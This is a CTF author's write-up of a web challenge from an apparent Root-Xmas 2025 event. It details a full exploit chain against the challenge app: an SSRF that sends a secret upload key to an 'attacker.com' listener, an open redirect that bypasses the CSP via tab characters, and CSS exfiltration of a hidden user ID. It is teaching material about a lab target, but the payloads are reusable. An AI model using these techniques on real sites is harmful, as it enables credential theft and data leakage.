Root-Xmas 2025

Root-Xmas 2025 was a 24-day event created by the Root Me team, running during the month of December 2025. This year I did not participate as a player. Instead I was part of the staff for the event (testing, integration, deployment, etc.).

Root-Xmas advent calendar banner

I created original CTF challenges for three different days, including two hard challenges in the Web and Crypto categories. This is my author’s writeup for “Christmas Card Generator”, the Web challenge that was released during Day 19 of the event.

You can download the file distributed with the challenge with this link: christmas-card-generator.zip. The archive contains the source code of the application and everything needed to deploy it locally.

Challenge overview

Official communication for the challenge release

Although I am sure many players came close to finding the solution, in the end the challenge was solved by only four players.

Congratulations to ap4sh, skav, Bolet and Kaldah!

List of players who solved the challenge

Challenge description


The web interface of the challenge is an ugly Christmas card generator. On the left there is a text area to write your message, and a list to pick the card’s theme.

On the right you can upload image files, then use the “Insert” button to add an uploaded image to the card. This button simply inserts some text to represent the image in the format [img|card_url].

Christmas Card Generator index page

At the bottom, the “Generate Card” button leads to a new page where the card is rendered as HTML. The Christmas card can be shared by sending the URL of the page.

Christmas Card Generator rendered card

In addition to the web application, the challenge also features a bot to which the players can send their Christmas card. The bot uses Chromium + Puppeteer to upload its own image file on the website (flag.png), then it visits the player’s card link.

try {
    const page1 = await context.newPage();
    await page1.goto(challenge.appUrl, {
        waitUntil: 'networkidle0'
    });
    const imageInput = await page1.waitForSelector('input[id=imageInput]');
    await imageInput.uploadFile('/flag.png');
    const uploadBtn = await page1.waitForSelector('button[id=uploadBtn]');
    await uploadBtn.click()
    await page1.waitForSelector('button[class=insert-btn]');
    await page1.close();

    const page2 = await context.newPage();
    await page2.goto(url, {
        waitUntil: 'networkidle0'
    });
    await sleep(1_000);
    await page2.close();
} catch (e) {
    console.error(e);
}

The goal of the challenge is to find a way to obtain the image file uploaded by the bot.

Website and CDN

The web application is actually split into two websites, each running in its own Docker container.

The routes of the main website are:

  • GET /. The card generator interface where users can create their card and upload images.
  • POST /upload_image, triggered with the “Upload Image” button. The server verifies the file extension and uploads the image to the CDN using a secret X-Upload-Key header. It assigns a Content-Type to the file based on its extension.
  • POST /generate_card, triggered with the “Generate Card” button. The card content is converted to a base64 string and the user is redirected to /view_card?data=[card_data].
  • GET /view_card. The card data in the URL is rendered as HTML. The card can be shared by copying the URL of the page.
  • GET /search. This route is only used when clicking “❤️” or “Christmas spirit” at the bottom of the page. It redirects the user to a https://duckduckgo.com/ search page based on a search GET parameter.

The important routes of the CDN are:

  • GET /official/<path:filename>. This serves “official” resources used by the main website. The available resources are CSS stylesheets and the favicon.
  • POST /uploads/<user_id>/<path:filename>. This is the route used by the main website to store user-uploaded images files to the CDN. The route is protected by a secret X-Upload-Key header only known by the application. Uploaded files are saved on the disk and file metadata (name, content-type, etc.) is stored in a SQLite database.
  • GET /uploads/<user_id>/<path:filename>. This route is used to retrieve user-uploaded image files uploaded to the CDN. Anyone can access a file but they need to know the user ID of the user that uploaded the file.
  • GET /uploads/<user_id>/<path:filename>/delete. This route is used to delete user-uploaded image files uploaded to the CDN. The route is protected by the X-Upload-Key header too (or is it?).
  • GET /api/stats/ contains additional routes to query metadata about uploaded files (number of uploaded files and size). These routes are not relevant for solving the challenge.

Both websites use their own “Content-Security-Policy” header. The CDN CSP is very strict, configured with default-src 'none'. The main website CSP uses hashes to whitelist scripts, and only allows specific kinds of resources to be loaded from itself or from the CDN.

Content-Security-Policy:
    default-src 'none';
    style-src 'self' https://cardgenerator-cdn.challenges.xmas.root-me.org/official/;
    img-src 'self' https://cardgenerator-cdn.challenges.xmas.root-me.org;
    connect-src 'self' https://cardgenerator-cdn.challenges.xmas.root-me.org;
    script-src 'sha256-[...]' 'sha256-[...]';
    base-uri 'none'

Stealing the CDN secret key

Without the secret key, we can only upload files to the CDN through the “Upload Image” feature on the main website. Because the main website is configured to only allow some specific extensions, files uploaded to the CDN this way will always have an image Content-Type, which is not helpful to us.

app.config['ALLOWED_EXTENSIONS'] = {
    'png': 'image/png',
    'jpg': 'image/jpeg',
    'jpeg': 'image/jpeg',
    'gif': 'image/gif',
    'webp': 'image/webp'
}

The first part of the solution is to steal the CDN secret key used to protect the POST /uploads/<user_id>/<path:filename> route of the CDN. After stealing this key, we will be allowed to upload files with arbitrary Content-Type to the CDN. I assume most players figured that part.

To achieve this, we exploit a vulnerability in the POST /upload_image route of the main website. The application resolves the URL of the CDN based on the cdn field of the request, and uploads the user file here. It verifies that the URL starts with CDN_URL, with value https://cardgenerator-cdn.challenges.xmas.root-me.org.

@app.route('/upload_image', methods=['POST'])
def post_upload_image():
    [...]
    if 'cdn' not in request.form or not request.form['cdn'].startswith(app.config['CDN_URL']):
        return jsonify({'error': 'Invalid CDN'}), 400
    [...]
    image_url = f"{request.form['cdn']}/uploads/{user_id}/{file.filename}"
    headers = {
        'X-Upload-Key': app.config['CDN_UPLOAD_SECRET'],
        'Content-Type': content_type
    }
    response = requests.post(
        image_url,
        data=file.read(),
        headers=headers
    )

This is vulnerable to Server Side Request Forgery, because CDN_URL does not end with a slash. We can set the cdn field to https://cardgenerator-cdn.challenges.xmas.root-me.org:pouet@attacker.com to trigger a request to the https://attacker.com server under our control.

import requests

LISTENER_URL = 'attacker.com' # replace me
WEBSITE_URL = 'https://cardgenerator.challenges.xmas.root-me.org'
CDN_URL = 'https://cardgenerator-cdn.challenges.xmas.root-me.org'

r = requests.post(f'{WEBSITE_URL}/upload_image', files={
    'image': ('x.png', b'foobar')
}, data={
    'cdn': f'{CDN_URL}:x@{LISTENER_URL}'
})

The application sends a request containing the X-Upload-Key header to our server.

POST /uploads/c4-38-19-19-e3-ba-30-12/x.png HTTP/1.0
Host: attacker.com
Connection: close
Content-Length: 11
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
X-Upload-Key: TheUploadKey-XhtIoA1NV3K0vbNw  <----------------------- The CDN key is here
Content-Type: image/png
Authorization: Basic Y2FyZGdlbmVyYXRvci1jZG4uY2hhbGxlbmdlcy54bWFzLnJvb3QtbWUub3JnOng=

filecontent

Another way to exploit the vulnerability is to register a DNS entry such as cardgenerator-cdn.challenges.xmas.root-me.org.attacker.com, and set the cdn field to https://cardgenerator-cdn.challenges.xmas.root-me.org.attacker.com.

User ID and card rendering

Cool, we can upload files with arbitrary content and Content-Type to the CDN, but now what? The secret upload key does not give access to any other “powerful” feature that would allow us to get Remote Code Execution on the CDN, and there is no SQL injection available either that would allow us to dig into the metadata database.

It is not possible to list or access the flag file uploaded by the bot, without knowledge of the user_id of the bot’s session on the main website. This user ID is generated from a secure PRNG source when the bot visits the website, and it is too long to be bruteforced (8 random bytes).

However, if we manage to obtain the bot’s user ID, we will be able to download the flag image from the CDN directly.

app.config['SESSION_COOKIE_HTTPONLY'] = True

@app.before_request
def set_user_id():
    if 'user_id' not in session:
        session['user_id'] = '-'.join([f'{b:02x}' for b in os.urandom(8)])

We can also send a Christmas card link to the bot and make it visit /view_card?data=.... The user_id is stored on the server-side, but it is also rendered in a hidden <input> element inside the /view_card HTML page (for use in a script in the page).

<div id="jsvars">
    <input id="user_id_var" type="hidden" value="{{ user_id }}">
</div>
<script>
    /* ... */
    const USER_ID = document.getElementById('user_id_var').value;
    /* ... */
</script>

Let’s take a look at the Christmas card rendering now.

  • The card content is passed as a GET parameter, encoded as base64.
  • The server converts [img|link] and [style|link] text formats to HTML <img src="link" /> and <link rel="stylesheet" href="link" /> element respectively.
  • The card content cannot contain the characters < and >, preventing the injection of any other kind of HTML element.
  • One [style|link] element is automatically added to the card based on the theme chosen for the card.
  • The card cannot contain multiple [style|link] elements.
def check_card(card):
    allowed = set(string.printable) - set(['<', '>'])
    if not all(c in allowed for c in card):
        return False
    if card.count('[style|') > 1:
        return False
    return True

def render_card(card):
    card = re.sub(r'\[img\|([^\]]+)\]',
        r'<img src="\1" />',
        card)
    card = re.sub(r'\[style\|([^\]]+)\]',
        r'<link rel="stylesheet" href="\1" />',
        card)
    card = card.replace('\n', '<br />')
    return card

@app.route('/view_card')
def view_card():
    card_data = request.args.get('data', '')
    if not card_data:
        return redirect('/')
    try:
        card = base64.b64decode(card_data).decode('utf-8')
    except Exception:
        return 'Invalid card', 400
    if not check_card(card):
        return 'Invalid card', 400
    theme = request.args.get('theme', 'default')
    if theme not in app.config['AVAILABLE_THEMES']:
        theme = 'default'
    card = f'{card}[style|{app.config['CDN_URL']}/official/card.{theme}.css]'
    return render_template('card.j2', card=render_card(card), theme=theme,
        cdn_url=app.config['CDN_URL'], user_id=session['user_id'])

There is an important logic bug in this route. The check_card function is called before the theme’s style element is added to the card content. As a consequence, we can include our own additional [style|link] element to the card and make the page load a CSS stylesheet of our choice.

The holy CSP bypass

At this point the challenge screams at us that we need to obtain the user ID in the page using a CSS exfiltration technique. But the Content Security Policy seems too strict to allow this.

The CSP is configured to allow loading images from ‘self’ and the CDN. However, it will only load stylesheets from ‘self’ or routes on the CDN starting with /official. This is annoying because the files uploaded to the CDN can only be fetched from /uploads/<user_id>/<path:filename>.

Content-Security-Policy:
    default-src 'none';
    style-src 'self' https://cardgenerator-cdn.challenges.xmas.root-me.org/official/;
    img-src 'self' https://cardgenerator-cdn.challenges.xmas.root-me.org;
    connect-src 'self' https://cardgenerator-cdn.challenges.xmas.root-me.org;
    script-src 'sha256-[...]' 'sha256-[...]';
    base-uri 'none'

I know that multiple players (and LLM agents lol) reached this step of the challenge and got stuck on the strict CSP of the main website. Then I assume they either tried to bypass it and gave up, focused on finding another vulnerability in the CDN, or simply could not complete the challenge in time.

But there is actually a way to bypass this strict CSP, and the rule that allows it is written in the W3C specification “Content Security Policy”: https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects. It is a bit counter-intuitive and I think not very well-known, which is why I wanted to make this challenge in the first place.

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com not-example.com/path:

This restriction reduces the granularity of a document’s policy when redirects are in play, which isn’t wonderful, but given that we certainly don’t want to allow brute-forcing paths after redirects, it seems a reasonable compromise.

In our case, we need to find a page on the main website that redirects to https://cardgenerator-cdn.challenges.xmas.root-me.org/uploads/user_id/path.css, then we can use that page to load a CSS stylesheet that is uploaded to the CDN, even though the path does not match the one in the CSP.

The obvious candidate for this is the GET /search route.

@app.route('/search')
def search_route():
    search = request.args.get('search', '?q=santa')
    search = search.replace('\\', '/').strip()
    if '//' in search or ':/' in search:
        return 'Invalid search', 403
    try:
        location = ada_url.join_url('https://duckduckgo.com/', search)
        return redirect(location)
    except ValueError:
        return 'Invalid search', 403

The application uses https://github.com/ada-url/ada, a C++ URL parser that follows the WHATWG specifications for URL. This specification is very different from the RFC URL specifications (RFCs 1738, 1808, 2396, 2732, 3986, etc.). The WHATWG URL specification is more user-tolerant and account for user errors. Most web browsers try to follow it so that you don’t have to perfectly type your URL in the search bar.

Like all other URL parsers out there, ada_url has its own weirdness and sometimes unexpected results, as we can see in the following examples.

# Intended usage
>>> ada_url.join_url('https://duckduckgo.com/', '/foo/bar')
'https://duckduckgo.com/foo/bar'
# Joining two distinct websites
>>> ada_url.join_url('https://duckduckgo.com/', 'https://cdn/foo/bar')
'https://cdn/foo/bar'
>>> ada_url.join_url('https://duckduckgo.com/', '//cdn/foo/bar')
'https://cdn/foo/bar'
>>> ada_url.join_url('https://duckduckgo.com/', 'http://cdn/foo/bar')
'http://cdn/foo/bar'
# Missing slashes
>>> ada_url.join_url('https://duckduckgo.com/', 'https:/cdn/foo/bar')
'https://duckduckgo.com/cdn/foo/bar'
>>> ada_url.join_url('https://duckduckgo.com/', 'http:/cdn/foo/bar')
'http://cdn/foo/bar'
# Extra tabulations
>>> ada_url.join_url('https://duckduckgo.com/', 'https:/\t/cdn/foo/bar')
'https://cdn/foo/bar'

The search route replaces backslashes with normal slashes and prevents the second path from containing // and :/ but it is still vulnerable to Open Redirect with a few different payloads (we can probably find more).

# This one only works if the first URL protocol is different from the second URL protocol.
# It can be used to solve the challenge locally when using HTTP
# but not on the official HTTPs protected websites.
>>> ada_url.join_url('https://duckduckgo.com/', 'http:cdn/uploads/xxx/yyy.css')
'http://cdn/uploads/xxx/yyy.css'
# Tabulations and such are the intended bypass
>>> ada_url.join_url('https://duckduckgo.com/', 'https:\t/\t/cdn/uploads/xxx/yyy.css')
'https://cdn/uploads/xxx/yyy.css'
>>> ada_url.join_url('https://duckduckgo.com/', '/\t/cdn/uploads/xxx/yyy.css')
'https://cdn/uploads/xxx/yyy.css'
>>> ada_url.join_url('https://duckduckgo.com/', '/\n/cdn/uploads/xxx/yyy.css')
'https://cdn/uploads/xxx/yyy.css'
>>> ada_url.join_url('https://duckduckgo.com/', '/\r/cdn/uploads/xxx/yyy.css')
'https://cdn/uploads/xxx/yyy.css'

In short, we can upload a CSS stylesheet manually using the CDN secret key, then load it in a Christmas card using the following syntax.

[style|https://cardgenerator.challenges.xmas.root-me.org/search?search=/%09/cardgenerator-cdn.challenges.xmas.root-me.org/uploads/user_id/my_style.css]

CSS exfiltration

The final step of the exploit is a classical CSS exfiltration attack. I will not go into details about the attack and instead refer to this excellent writeup from a few years ago: https://waituck.sg/2023/12/11/0ctf-2023-newdiary-writeup.html.

The writeup explains how we can match parts of <input id="user_id_var" type="hidden" value="{{ user_id }}"> HTML element value with CSS rules. Every matched rule makes the browser send an HTTP request to a distinct URL, leaking some information about the value in the process.

The twist in this challenge is that we cannot directly exfiltrate the value of the user ID because the CSP prevents the browser from making request to an external server. Fortunately, there is one last (kinda lame) logic bug the we can use to our advantage, in the CDN source code.

def check_upload_auth():
    auth_header = request.headers.get('X-Upload-Key')
    if auth_header != app.config['CDN_UPLOAD_SECRET']:
        return False
    return True

@app.route('/uploads/<user_id>/<path:filename>', methods=['POST'])
def post_uploads(user_id, filename):
    if not check_upload_auth():
        return jsonify({'error': 'Unauthorized'}), 401
    [...]

@app.route('/uploads/<user_id>/<path:filename>/delete')
def delete_uploads(user_id, filename):
    if check_upload_auth():
        return jsonify({'error': 'Unauthorized'}), 401
    [...]

The GET /uploads/<user_id>/<path:filename>/delete route check for the value of the secret X-Upload-Key is inverted, meaning that we can only delete files from the CDN if the key is wrong or missing. This is not a problem because the application does not actually use this route. However, this gives us a way to exfiltrate information by deleting files based on the user_id value in the page.

For example we can upload files to /uploads/{user_id}/beg_aa, /uploads/{user_id}/beg_ab, /uploads/{user_id}/beg_ac, etc. (where {user_id} can be whatever we chose), and use the following CSS rules.

#jsvars:has(input[value^="aa"]) {
    --beg-aa: url("https://cardgenerator-cdn.challenges.xmas.root-me.org/uploads/{user_id}/beg_aa/delete")
}
#jsvars:has(input[value^="ab"]) {
    --beg-ab: url("https://cardgenerator-cdn.challenges.xmas.root-me.org/uploads/{user_id}/beg_ab/delete")
}
#jsvars:has(input[value^="ac"]) {
    --beg-ac: url("https://cardgenerator-cdn.challenges.xmas.root-me.org/uploads/{user_id}/beg_ac/delete")
}
/* ... */
#jsvars {
    background: var(--beg-aa,none),var(--beg-ab,none),var(--beg-ac,none),/* ... */
}

If the value of the input field in the page starts with “aa”, then the file “beg_aa” will be deleted, etc. After the bot has visited our page, we can check which files were deleted to get information about its user ID.

A random user ID generated by the application has the format xx-xx-xx-xx-xx-xx-xx-xx. If we leak the first 2 characters, the last 2 characters and all distinct bigrams in the bot user ID, we are left with only 6! = 720 possibilities to check and one of them is the correct one.

Here is my reference exploit script to steal the flag image from the bot: steal-bot-image.py, and below is the output of the script.

User id: b2-a3-19-11-ac-39-66-e1
CSS file uploaded to http://cdn/uploads/b2-a3-19-11-ac-39-66-e1/leak.css
Upload canary files...
100%|███████████████████████████████████████████| 256/256 [00:16<00:00, 15.89it/s]
Card URL: http://website/view_card?data=W3N0eWxlfGh0dHA6Ly93ZWJzaXRlL3NlYXJjaD9zZWFyY2g9aHR0cCUzQWNkbi91cGxvYWRzL2IyLWEzLTE5LTExLWFjLTM5LTY2LWUxL2xlYWsuY3NzXQ==
Send bot...
Find deleted canary files...
Bot user_id contains 1d
Bot user_id contains 3c
Bot user_id contains 4a
Bot user_id contains af
Bot user_id contains c2
Bot user_id contains c9
Bot user_id contains cc
Bot user_id contains e5
Bot user_id begins with 1d
Bot user_id ends with c9
Searching for flag.png...
 28%|████████████████                           | 200/720 [00:00<00:00, 1028.02it/s]
Found flag file!

Here is the flag

The flag image that the bot uploads to the CDN before accessing our link is the QR code below.

The flag image QR code

The QR code links to a Christmas card on the main website itself, because I thought it was funny. The card contains a small message and the flag.

The Christmas card contaning the flag

See you next year for more Christmas challenges (maybe)!